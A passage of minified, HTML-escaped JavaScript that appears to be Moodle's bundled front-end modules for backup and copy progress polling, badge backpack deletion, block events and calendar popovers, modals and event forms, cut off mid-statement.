updateProgressCopy(progress){progress.forEach((function(element){var percentage=100*element.progress,backupid=element.backupid,type=element.operation,elementbar=document.querySelectorAll(&quot;[data-&quot;+type+&quot;id=&quot;+CSS.escape(backupid)+&quot;]&quot;)[0];if(&quot;restore&quot;==type){let restorecell=elementbar.closest(&quot;tr&quot;).children[3];Str.get_string(&quot;restore&quot;).then((function(content){restorecell.innerHTML=content})).catch((function(){notification.exception(new Error(&quot;Failed to load string: restore&quot;))}))}800==element.status?(elementbar.classList.add(&quot;bg-success&quot;),updateElement(backupid,type,percentage)):900==element.status?(elementbar.classList.add(&quot;bg-danger&quot;),elementbar.classList.add(&quot;complete&quot;),elementbar.classList.remove(&quot;bg-success&quot;),updateElement(backupid,type,100)):1e3==element.status&amp;&amp;&quot;restore&quot;==type&amp;&amp;(elementbar.classList.add(&quot;bg-success&quot;),elementbar.classList.add(&quot;complete&quot;),updateElement(backupid,type,100),function(backupid){var elementbar=document.querySelectorAll(&quot;[data-restoreid=&quot;+CSS.escape(backupid)+&quot;]&quot;)[0],restorecourse=elementbar.closest(&quot;tr&quot;).children[1],coursename=restorecourse.innerHTML,courselink=document.createElement(&quot;a&quot;),elementbarparent=elementbar.closest(&quot;td&quot;),operation=elementbarparent.previousElementSibling;Str.get_string(&quot;complete&quot;).then((function(content){operation.innerHTML=content})).catch((function(){notification.exception(new Error(&quot;Failed to load string: complete&quot;))})),Templates.render(&quot;core/async_copy_complete_cell&quot;,{}).then((function(html,js){Templates.replaceNodeContents(elementbarparent,html,js)})).fail((function(){notification.exception(new Error(&quot;Failed to load table cell&quot;))})),ajax.call([{methodname:&quot;core_backup_get_async_backup_links_restore&quot;,args:{backupid:backupid,contextid:0}}])[0].done((function(response){courselink.setAttribute(&quot;href&quot;,response.restoreurl),courselink.innerHTML=coursename,restorecourse.innerHTML=null,restorecourse.appendChild(courselink)})).fail((function(){notification.exception(new Error(&quot;Failed to update table row&quot;))}))}(backupid))}))}function getBackupProgress(){ajax.call([{methodname:&quot;core_backup_get_async_backup_progress&quot;,args:{backupids:[backupid],contextid:contextid}}],!0,!0,!1,2e3)[0].done((function(response){!function(progress){var stringRequests,percentage=100*progress.progress,type=&quot;backup&quot;,elementbar=document.querySelectorAll(&quot;[data-backupid=&quot;+CSS.escape(backupid)+&quot;]&quot;)[0],elementstatus=$(&quot;#&quot;+backupid+&quot;_status&quot;),elementdetail=$(&quot;#&quot;+backupid+&quot;_detail&quot;),elementbutton=$(&quot;#&quot;+backupid+&quot;_button&quot;);if(800==progress.status){elementbar.classList.add(&quot;bg-success&quot;),updateElement(backupid,type,percentage);var strProcessing=&quot;async&quot;+typeid+&quot;processing&quot;;Str.get_string(strProcessing,&quot;backup&quot;).then((function(title){elementstatus.text(title)})).catch((function(){notification.exception(new Error(&quot;Failed to load string: backup &quot;+strProcessing))}))}else if(900==progress.status)elementbar.classList.add(&quot;bg-danger&quot;),elementbar.classList.remove(&quot;bg-success&quot;),updateElement(backupid,type,100),stringRequests=[{key:&quot;async&quot;+typeid+&quot;error&quot;,component:&quot;backup&quot;},{key:&quot;async&quot;+typeid+&quot;errordetail&quot;,component:&quot;backup&quot;}],Str.get_strings(stringRequests).then((function(strings){elementstatus.text(strings[0]),elementdetail.text(strings[1])})).catch((function(){notification.exception(new Error(&quot;Failed to load string&quot;))})),$(&quot;.backup_progress&quot;).children(&quot;span&quot;).removeClass(&quot;backup_stage_current&quot;),$(&quot;.backup_progress&quot;).children(&quot;span&quot;).last().addClass(&quot;backup_stage_current&quot;),clearInterval(backupintervalid);else if(1e3==progress.status){elementbar.classList.add(&quot;bg-success&quot;),updateElement(backupid,type,100);var strComplete=&quot;async&quot;+typeid+&quot;complete&quot;;Str.get_string(strComplete,&quot;backup&quot;).then((function(title){elementstatus.text(title)})).catch((function(){notification.exception(new Error(&quot;Failed to load string: backup &quot;+strComplete))})),&quot;restore&quot;==typeid?ajax.call([{methodname:&quot;core_backup_get_async_backup_links_restore&quot;,args:{backupid:backupid,contextid:contextid}}])[0].done((function(response){var strButton=&quot;async&quot;+typeid+&quot;completebutton&quot;,stringRequests=[{key:&quot;async&quot;+typeid+&quot;completedetail&quot;,component:&quot;backup&quot;,param:response.restoreurl},{key:strButton,component:&quot;backup&quot;}];Str.get_strings(stringRequests).then((function(strings){elementdetail.html(strings[0]),elementbutton.text(strings[1]),elementbutton.attr(&quot;href&quot;,response.restoreurl)})).catch((function(){notification.exception(new Error(&quot;Failed to load string&quot;))}))})):(stringRequests=[{key:&quot;async&quot;+typeid+&quot;completedetail&quot;,component:&quot;backup&quot;,param:restoreurl},{key:&quot;async&quot;+typeid+&quot;completebutton&quot;,component:&quot;backup&quot;}],Str.get_strings(stringRequests).then((function(strings){elementdetail.html(strings[0]),elementbutton.text(strings[1]),elementbutton.attr(&quot;href&quot;,restoreurl)})).catch((function(){notification.exception(new Error(&quot;Failed to load string&quot;))}))),$(&quot;.backup_progress&quot;).children(&quot;span&quot;).removeClass(&quot;backup_stage_current&quot;),$(&quot;.backup_progress&quot;).children(&quot;span&quot;).last().addClass(&quot;backup_stage_current&quot;),clearInterval(backupintervalid)}}(response[0]),checkdelay=15e3,backupintervalid=updateInterval(backupintervalid,getBackupProgress,15e3)})).fail((function(){backupintervalid=updateInterval(backupintervalid,getBackupProgress,checkdelay*=1.5)}))}function getAllBackupProgress(){var backupids=[];$(&quot;.progress&quot;).find(&quot;.progress-bar&quot;).not(&quot;.complete&quot;).each((function(){backupids.push(this.id.substring(0,32))})),backupids.length&gt;0?ajax.call([{methodname:&quot;core_backup_get_async_backup_progress&quot;,args:{backupids:backupids,contextid:contextid}}],!0,!0,!1,2e3)[0].done((function(response){updateProgressAll(response),checkdelay=15e3,allbackupintervalid=updateInterval(allbackupintervalid,getAllBackupProgress,15e3)})).fail((function(){allbackupintervalid=updateInterval(allbackupintervalid,getAllBackupProgress,checkdelay*=1.5)})):clearInterval(allbackupintervalid)}function getAllCopyProgress(){var copyids=[];$(&quot;.progress&quot;).find(&quot;.progress-bar[data-operation][data-backupid][data-restoreid]&quot;).not(&quot;.complete&quot;).each((function(){let progressvars={backupid:this.dataset.backupid,restoreid:this.dataset.restoreid,operation:this.dataset.operation};copyids.push(progressvars)})),copyids.length&gt;0?ajax.call([{methodname:&quot;core_backup_get_copy_progress&quot;,args:{copies:copyids}}],!0,!0,!1,2e3)[0].done((function(response){updateProgressCopy(response),checkdelay=15e3,allcopyintervalid=updateInterval(allcopyintervalid,getAllCopyProgress,15e3)})).fail((function(){allcopyintervalid=updateInterval(allcopyintervalid,getAllCopyProgress,checkdelay*=1.5)})):clearInterval(allcopyintervalid)}return Asyncbackup.asyncBackupAllStatus=function(context){contextid=context,allbackupintervalid=setInterval(getAllBackupProgress,checkdelay)},Asyncbackup.asyncCopyAllStatus=function(){allcopyintervalid=setInterval(getAllCopyProgress,checkdelay)},Asyncbackup.asyncBackupStatus=function(backup,context,restore,type){backupid=backup,contextid=context,restoreurl=restore,typeid=&quot;backup&quot;==type?&quot;backup&quot;:&quot;restore&quot;,$(&quot;.backup_progress&quot;).children(&quot;a&quot;).removeAttr(&quot;href&quot;),backupintervalid=setInterval(getBackupProgress,checkdelay)},Asyncbackup}));
define(&quot;core_badges/backpackactions&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core_badges/selectors&quot;,&quot;core/str&quot;,&quot;core/pending&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/config&quot;],(function(_exports,_jquery,_selectors,_str,_pending,_modal_factory,_modal_events,_config){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Action methods related to backpacks.
   *
   * @module     core_badges/backpackactions
   * @copyright  2020 Sara Arjona &lt;sara@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_selectors=_interopRequireDefault(_selectors),_pending=_interopRequireDefault(_pending),_modal_factory=_interopRequireDefault(_modal_factory),_modal_events=_interopRequireDefault(_modal_events),_config=_interopRequireDefault(_config);_exports.init=()=&gt;{const pendingPromise=new _pending.default,root=(0,_jquery.default)(_selectors.default.elements.main);registerListenerEvents(root),pendingPromise.resolve()};const registerListenerEvents=root=&gt;{root.on(&quot;click&quot;,_selectors.default.actions.deletebackpack,(async e=&gt;{e.preventDefault();const link=(0,_jquery.default)(e.currentTarget),modal=await buildModal(link);displayModal(modal,link)}))},buildModal=async link=&gt;{const backpackurl=link.closest(_selectors.default.elements.backpackurl).attr(&quot;data-backpackurl&quot;);return _modal_factory.default.create({title:await(0,_str.get_string)(&quot;delexternalbackpack&quot;,&quot;core_badges&quot;),body:await(0,_str.get_string)(&quot;delexternalbackpackconfirm&quot;,&quot;core_badges&quot;,backpackurl),type:_modal_factory.default.types.SAVE_CANCEL})},displayModal=async(modal,link)=&gt;{modal.setSaveButtonText(await(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;)),modal.getRoot().on(_modal_events.default.save,(function(){window.location.href=link.attr(&quot;href&quot;)+&quot;&amp;sesskey=&quot;+_config.default.sesskey+&quot;&amp;confirm=1&quot;})),modal.getRoot().on(_modal_events.default.hidden,(function(){modal.destroy()})),modal.show()}}));
define(&quot;core_badges/selectors&quot;,[&quot;exports&quot;],(function(_exports){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0;var name,value,_default={actions:{deletebackpack:(name=&quot;action&quot;,value=&quot;deletebackpack&quot;,&quot;[data-&quot;.concat(name,&#039;=&quot;&#039;).concat(value,&#039;&quot;]&#039;))},elements:{clearsearch:&quot;.input-group-append .clear-icon&quot;,main:&quot;#backpacklist&quot;,backpackurl:&quot;[data-backpackurl]&quot;}};return _exports.default=_default,_exports.default}));
define(&quot;core_block/events&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;],(function(_exports,_event_dispatcher){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifyBlockContentUpdated=_exports.eventTypes=void 0;
/**
   * Javascript events for the `core_block` subsystem.
   *
   * @module     core_block/events
   * @copyright  2021 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      4.0
   *
   * @example &lt;caption&gt;Example of listening to a block event.&lt;/caption&gt;
   * import {eventTypes as blockEventTypes} from &#039;core_block/events&#039;;
   *
   * document.addEventListener(blockEventTypes.blockContentUpdated, e =&gt; {
   *     window.console.log(e.target); // The HTMLElement relating to the block whose content was updated.
   *     window.console.log(e.detail.instanceId); // The instanceId of the block that was updated.
   * });
   */
const eventTypes={blockContentUpdated:&quot;core_block/contentUpdated&quot;};_exports.eventTypes=eventTypes;_exports.notifyBlockContentUpdated=element=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.blockContentUpdated,{instanceId:element.dataset.instanceId},element);let legacyEventsRegistered=!1;legacyEventsRegistered||(Y.use(&quot;event&quot;,&quot;moodle-core-event&quot;,(Y=&gt;{document.addEventListener(eventTypes.blockContentUpdated,(e=&gt;{Y.Global.fire(M.core.event.BLOCK_CONTENT_UPDATED,{instanceid:e.detail.instanceId})}))})),legacyEventsRegistered=!0)}));
define(&quot;core_calendar/popover&quot;,[&quot;theme_boost/popover&quot;,&quot;jquery&quot;,&quot;core_calendar/selectors&quot;],(function(_popover,_jquery,CalendarSelectors){var obj;
/**
   * Javascript popover for the `core_calendar` subsystem.
   *
   * @module core_calendar/popover
   * @copyright 2021 Huong Nguyen &lt;huongnv13@gmail.com&gt;
   * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since 4.0
   */function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}_jquery=(obj=_jquery)&amp;&amp;obj.__esModule?obj:{default:obj},CalendarSelectors=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}(CalendarSelectors);const isPopoverConfigured=new Map,showPopover=target=&gt;{if(!isPopoverConfigured.has(target)){const dateEle=(0,_jquery.default)(target);dateEle.popover({trigger:&quot;manual&quot;,placement:&quot;top&quot;,html:!0,content:()=&gt;{const source=dateEle.find(CalendarSelectors.elements.dateContent),content=(0,_jquery.default)(&quot;&lt;div&gt;&quot;);if(source.length){const temptContent=source.find(&quot;.hidden&quot;).clone(!1);content.html(temptContent.html())}return content.html()}}),isPopoverConfigured.set(target,!0)}var dateContainer;dateContainer=target,&quot;none&quot;===window.getComputedStyle(dateContainer.querySelector(CalendarSelectors.elements.dateContent)).display&amp;&amp;((0,_jquery.default)(target).popover(&quot;show&quot;),target.addEventListener(&quot;mouseleave&quot;,hidePopover),target.addEventListener(&quot;focusout&quot;,hidePopover))},hidePopover=e=&gt;{const target=e.target,dateContainer=e.target.closest(CalendarSelectors.elements.dateContainer);if(dateContainer&amp;&amp;isPopoverConfigured.has(dateContainer)){const isTargetActive=target.contains(document.activeElement),isTargetHover=target.matches(&quot;:hover&quot;);isTargetActive||isTargetHover||((0,_jquery.default)(dateContainer).popover(&quot;hide&quot;),dateContainer.removeEventListener(&quot;mouseleave&quot;,hidePopover),dateContainer.removeEventListener(&quot;focusout&quot;,hidePopover))}};let listenersRegistered=!1;listenersRegistered||((()=&gt;{const showPopoverHandler=e=&gt;{const dateContainer=e.target.closest(CalendarSelectors.elements.dateContainer);dateContainer&amp;&amp;(e.preventDefault(),showPopover(dateContainer))};document.addEventListener(&quot;mouseover&quot;,showPopoverHandler),document.addEventListener(&quot;focusin&quot;,showPopoverHandler)})(),listenersRegistered=!0)}));
/**
 * Contain the logic for the delete modal.
 *
 * @module     core_calendar/modal_delete
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/modal_delete&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_events&quot;,&quot;core/modal_registry&quot;,&quot;core_calendar/events&quot;],(function($,Notification,CustomEvents,Modal,ModalEvents,ModalRegistry,CalendarEvents){var registered=!1,SELECTORS_DELETE_ONE_BUTTON=&#039;[data-action=&quot;deleteone&quot;]&#039;,SELECTORS_DELETE_ALL_BUTTON=&#039;[data-action=&quot;deleteall&quot;]&#039;,SELECTORS_CANCEL_BUTTON=&#039;[data-action=&quot;cancel&quot;]&#039;,ModalDelete=function(root){Modal.call(this,root),this.setRemoveOnClose(!0)};return ModalDelete.TYPE=&quot;core_calendar-modal_delete&quot;,(ModalDelete.prototype=Object.create(Modal.prototype)).constructor=ModalDelete,ModalDelete.prototype.registerEventListeners=function(){Modal.prototype.registerEventListeners.call(this),this.getModal().on(CustomEvents.events.activate,SELECTORS_DELETE_ONE_BUTTON,function(e,data){var saveEvent=$.Event(ModalEvents.save);this.getRoot().trigger(saveEvent,this),saveEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this)),this.getModal().on(CustomEvents.events.activate,SELECTORS_DELETE_ALL_BUTTON,function(e,data){var saveEvent=$.Event(CalendarEvents.deleteAll);this.getRoot().trigger(saveEvent,this),saveEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this)),this.getModal().on(CustomEvents.events.activate,SELECTORS_CANCEL_BUTTON,function(e,data){var cancelEvent=$.Event(ModalEvents.cancel);this.getRoot().trigger(cancelEvent,this),cancelEvent.isDefaultPrevented()||(this.hide(),data.originalEvent.preventDefault())}.bind(this))},registered||(ModalRegistry.register(ModalDelete.TYPE,ModalDelete,&quot;calendar/event_delete_modal&quot;),registered=!0),ModalDelete}));
/**
 * This module handles display of multiple mini calendars in a view, and
 * movement through them.
 *
 * @deprecated since 4.0 MDL-72810.
 * @todo       MDL-73117 This will be deleted in Moodle 4.4.
 * @module     core_calendar/calendar_threemonth
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/calendar_threemonth&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core_calendar/selectors&quot;,&quot;core_calendar/events&quot;,&quot;core/templates&quot;,&quot;core_calendar/view_manager&quot;],(function($,Notification,CalendarSelectors,CalendarEvents,Templates,CalendarViewManager){return{init:function(root){!function(root){$(&quot;body&quot;).on([CalendarEvents.monthChanged,CalendarEvents.dayChanged].join(&quot; &quot;),(function(e,year,month,courseId,categoryId){root.queue((function(next){return processRequest(e,year,month,courseId,categoryId).then((function(){return next()})).fail(Notification.exception)}))}));var processRequest=function(e,year,month,courseId,categoryId){var newParent=root.find(&#039;[data-year=&quot;&#039;+year+&#039;&quot;][data-month=&quot;&#039;+month+&#039;&quot;]&#039;).closest(CalendarSelectors.calendarPeriods.month),allMonths=root.find(CalendarSelectors.calendarPeriods.month),previousMonth=$(allMonths[0]),nextMonth=$(allMonths[2]),placeHolder=$(&quot;&lt;span&gt;&quot;);placeHolder.attr(&quot;data-template&quot;,&quot;core_calendar/threemonth_month&quot;),placeHolder.attr(&quot;data-includenavigation&quot;,!1),placeHolder.attr(&quot;data-mini&quot;,!0);var requestYear,requestMonth,oldMonth,placeHolderContainer=$(&quot;&lt;div&gt;&quot;);if(placeHolderContainer.hide(),placeHolderContainer.append(placeHolder),newParent.is(previousMonth))placeHolderContainer.insertBefore(previousMonth),requestYear=previousMonth.data(&quot;previousYear&quot;),requestMonth=previousMonth.data(&quot;previousMonth&quot;),oldMonth=nextMonth;else{if(!newParent.is(nextMonth))return $.Deferred().resolve();placeHolderContainer.insertAfter(nextMonth),requestYear=nextMonth.data(&quot;nextYear&quot;),requestMonth=nextMonth.data(&quot;nextMonth&quot;),oldMonth=previousMonth}return CalendarViewManager.refreshMonthContent(placeHolder,requestYear,requestMonth,courseId,categoryId,placeHolder).then((function(){var slideUpPromise=$.Deferred(),slideDownPromise=$.Deferred();return oldMonth.slideUp(&quot;fast&quot;,(function(){$(this).remove(),slideUpPromise.resolve()})),placeHolderContainer.slideDown(&quot;fast&quot;,(function(){slideDownPromise.resolve()})),$.when(slideUpPromise,slideDownPromise)}))};root.on(&quot;click&quot;,CalendarSelectors.links.miniDayLink,(function(e){var miniDayLink=$(e.target),year=miniDayLink.data(&quot;year&quot;),month=miniDayLink.data(&quot;month&quot;),day=miniDayLink.text(),courseId=miniDayLink.data(&quot;courseid&quot;),categoryId=miniDayLink.data(&quot;categoryid&quot;),calendarRoot=$(&quot;body&quot;).find(CalendarSelectors.calendarMain);CalendarViewManager.refreshDayContent(calendarRoot,year,month,day,courseId,categoryId,calendarRoot.find(&#039;[id^=&quot;calendar-&quot;][data-template^=&quot;core_calendar/&quot;]&#039;),&quot;core_calendar/calendar_day&quot;),e.preventDefault(),CalendarViewManager.updateUrl(&quot;?view=day&quot;)}))}(root=$(root))}}}));
/**
 * A module to handle CRUD operations within the UI.
 *
 * @module     core_calendar/crud
 * @copyright  2017 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/crud&quot;,[&quot;jquery&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_registry&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core_calendar/modal_event_form&quot;,&quot;core_calendar/repository&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/modal_delete&quot;,&quot;core_calendar/selectors&quot;,&quot;core/pending&quot;],(function($,Str,Notification,CustomEvents,Modal,ModalRegistry,ModalFactory,ModalEvents,ModalEventForm,CalendarRepository,CalendarEvents,ModalDelete,CalendarSelectors,Pending){return{registerRemove:function(root){root.on(&quot;click&quot;,CalendarSelectors.actions.remove,(function(e){var eventSource=$(this).closest(CalendarSelectors.eventItem);!function(eventId,eventTitle,eventCount){var deletePromise,pendingPromise=new Pending(&quot;core_calendar/crud:confirmDeletion&quot;),deleteStrings=[{key:&quot;deleteevent&quot;,component:&quot;calendar&quot;}],isRepeatedEvent=(eventCount=parseInt(eventCount,10))&gt;1;isRepeatedEvent?(deleteStrings.push({key:&quot;confirmeventseriesdelete&quot;,component:&quot;calendar&quot;,param:{name:eventTitle,count:eventCount}}),deletePromise=ModalFactory.create({type:ModalDelete.TYPE})):(deleteStrings.push({key:&quot;confirmeventdelete&quot;,component:&quot;calendar&quot;,param:eventTitle}),deletePromise=ModalFactory.create({type:ModalFactory.types.SAVE_CANCEL}));var stringsPromise=Str.get_strings(deleteStrings);$.when(stringsPromise,deletePromise).then((function(strings,deleteModal){return deleteModal.setRemoveOnClose(!0),deleteModal.setTitle(strings[0]),deleteModal.setBody(strings[1]),isRepeatedEvent||deleteModal.setSaveButtonText(strings[0]),deleteModal.show(),deleteModal.getRoot().on(ModalEvents.save,(function(){var pendingPromise=new Pending(&quot;calendar/crud:initModal:deletedevent&quot;);CalendarRepository.deleteEvent(eventId,!1).then((function(){$(&quot;body&quot;).trigger(CalendarEvents.deleted,[eventId,!1])})).then(pendingPromise.resolve).catch(Notification.exception)})),deleteModal.getRoot().on(CalendarEvents.deleteAll,(function(){var pendingPromise=new Pending(&quot;calendar/crud:initModal:deletedallevent&quot;);CalendarRepository.deleteEvent(eventId,!0).then((function(){$(&quot;body&quot;).trigger(CalendarEvents.deleted,[eventId,!0])})).then(pendingPromise.resolve).catch(Notification.exception)})),deleteModal})).then((function(modal){return pendingPromise.resolve(),modal})).catch(Notification.exception)}(eventSource.data(&quot;eventId&quot;),eventSource.data(&quot;eventTitle&quot;),eventSource.data(&quot;eventCount&quot;)),e.preventDefault()}))},registerEditListeners:function(root,eventFormModalPromise){var pendingPromise=new Pending(&quot;core_calendar/crud:registerEditListeners&quot;);return eventFormModalPromise.then((function(modal){return $(&quot;body&quot;).on(CalendarEvents.editEvent,(function(e,eventId){var calendarWrapper=root.find(CalendarSelectors.wrapper);modal.setEventId(eventId),modal.setContextId(calendarWrapper.data(&quot;contextId&quot;)),modal.show(),e.stopImmediatePropagation()})),modal})).then((function(modal){return pendingPromise.resolve(),modal})).catch(Notification.exception)},registerEventFormModal:function(root){var eventFormPromise=ModalFactory.create({type:ModalEventForm.TYPE,large:!0});return root.on(&quot;click&quot;,CalendarSelectors.actions.create,(function(e){eventFormPromise.then((function(modal){var wrapper=root.find(CalendarSelectors.wrapper),categoryId=wrapper.data(&quot;categoryid&quot;);void 0!==categoryId&amp;&amp;modal.setCategoryId(categoryId);var today=root.find(CalendarSelectors.today),firstDay=root.find(CalendarSelectors.day);!today.length&amp;&amp;firstDay.length&amp;&amp;modal.setStartTime(firstDay.data(&quot;newEventTimestamp&quot;)),modal.setContextId(wrapper.data(&quot;contextId&quot;)),modal.setCourseId(wrapper.data(&quot;courseid&quot;)),modal.show()})).fail(Notification.exception),e.preventDefault()})),root.on(&quot;click&quot;,CalendarSelectors.actions.edit,(function(e){e.preventDefault();var target=$(e.currentTarget),calendarWrapper=target.closest(CalendarSelectors.wrapper),eventWrapper=target.closest(CalendarSelectors.eventItem);eventFormPromise.then((function(modal){modal.setEventId(eventWrapper.data(&quot;eventId&quot;)),modal.setContextId(calendarWrapper.data(&quot;contextId&quot;)),modal.setCourseId(eventWrapper.data(&quot;courseId&quot;)),modal.show(),e.stopImmediatePropagation()})).fail(Notification.exception)})),eventFormPromise}}}));
/**
 * Contain the logic for the quick add or update event modal.
 *
 * @module     core_calendar/modal_quick_add_event
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core_calendar/modal_event_form&quot;,[&quot;jquery&quot;,&quot;core_form/events&quot;,&quot;core/str&quot;,&quot;core/notification&quot;,&quot;core/templates&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/modal&quot;,&quot;core/modal_registry&quot;,&quot;core/fragment&quot;,&quot;core_calendar/events&quot;,&quot;core_calendar/repository&quot;],(function($,FormEvents,Str,Notification,Templates,CustomEvents,Modal,ModalRegistry,Fragment,CalendarEvents,Repository){var registered=!1,SELECTORS_SAVE_BUTTON=&#039;[data-action=&quot;save&quot;]&#039;,SELECTORS_LOADING_ICON_CONTAINER=&#039;[data-region=&quot;loading-icon-container&quot;]&#039;,ModalEventForm=function(root){Modal.call(this,root),this.eventId=null,this.startTime=null,this.courseId=null,this.categoryId=null,this.contextId=null,this.reloadingBody=!1,this.reloadingTitle=!1,this.saveButton=this.getFooter().find(SELECTORS_SAVE_BUTTON)};return ModalEventForm.TYPE=&quot;core_calendar-modal_event_form&quot;,(ModalEventForm.prototype=Object.create(Modal.prototype)).constructor=ModalEventForm,ModalEventForm.prototype.setContextId=function(id){this.contextId=id},ModalEventForm.prototype.getContextId=function(){return this.contextId},ModalEventForm.prototype.setCourseId=function(id){this.courseId=id},ModalEventForm.prototype.getCourseId=function(){return this.courseId},ModalEventForm.prototype.setCategoryId=function(id){this.categoryId=id},ModalEventForm.prototype.getCategoryId=function(){return this.categoryId},ModalEventForm.prototype.hasCourseId=function(){return null!==this.courseId},ModalEventForm.prototype.hasCategoryId=function(){return null!==this.categoryId},ModalEventForm.prototype.setEventId=function(id){this.eventId=id},ModalEventForm.prototype.getEventId=function(){return this.eventId},ModalEventForm.prototype.hasEventId=function(){return null!==this.eventId},ModalEventForm.prototype.setStartTime=function(time){this.startTime=time},ModalEventForm.prototype.getStartTime=function(){return this.startTime},ModalEventForm.prototype.hasStartTime=function(){return null!==this.startTime},ModalEventForm.prototype.getForm=function(){return this.getBody().find(&quot;form&quot;)},ModalEventForm.prototype.disableButtons=function(){this.saveButton.prop(&quot;disabled&quot;,!0)},ModalEventForm.prototype.enableButtons=function(){this.saveButton.prop(&quot;disabled&quot;,!1)},ModalEventForm.prototype.reloadTitleContent=function(){return this.reloadingTitle||(this.reloadingTitle=!0,this.hasEventId()?this.titlePromise=Str.get_string(&quot;editevent&quot;,&quot;calendar&quot;):this.titlePromise=Str.get_string(&quot;newevent&quot;,&quot;calendar&quot;),this.titlePromise.then(function(string){return this.setTitle(string),string}.bind(this)).always(function(){this.reloadingTitle=!1}.bind(this)).fail(Notification.exception)),this.titlePromise},ModalEventForm.prototype.reloadBodyContent=function(formData){if(this.reloadingBody)return this.bodyPromise;this.reloadingBody=!0,this.disableButtons();var args={};return this.hasEventId()&amp;&amp;(args.eventid=this.getEventId()),this.hasStartTime()&amp;&amp;(args.starttime=this.getStartTime()),this.hasCourseId()&amp;&amp;(args.courseid=this.getCourseId()),this.hasCategoryId()&amp;&amp;(args.categoryid=this.getCategoryId()),void 0!==formData&amp;&amp;(args.formdata=formData),this.bodyPromise=Fragment.loadFragment(&quot;calendar&quot;,&quot;event_form&quot;,this.getContextId(),args),this.setBody(this.bodyPromise),this.bodyPromise.then(function(){this.enableButtons()}.bind(this)).fail(Notification.exception).always(function(){this.reloadingBody=!1}.bind(this)).fail(Notification.exception),this.bodyPromise},ModalEventForm.prototype.reloadAllContent=function(){return $.when(this.reloadTitleContent(),this.reloadBodyContent())},ModalEventForm.prototype.show=function(){this.reloadAllContent(),Modal.prototype.show.call(this)},ModalEventForm.prototype.hide=function(){Modal.prototype.hide.call(this),this.setEventId(null),this.setStartTime(null),this.setCourseId(null),this.setCategoryId(null)},ModalEventForm.prototype.getFormData=function(){return this.getForm().serialize()},ModalEventForm.prototype.save=function(){var invalid,loadingContainer=this.saveButton.find(SELECTORS_LOADING_ICON_CONTAINER);if((invalid=this.getForm().find(&#039;[aria-invalid=&quot;true&quot;]&#039;)).length)return invalid.first().focus(),Promise.resolve();loadingContainer.removeClass(&quot;hidden&quot;),this.disableButtons();var formData=this.getFormData();return Repository.submitCreateUpdateForm(formData).then(function(response){if(response.validationerror)this.reloadBodyContent(formData);else{var 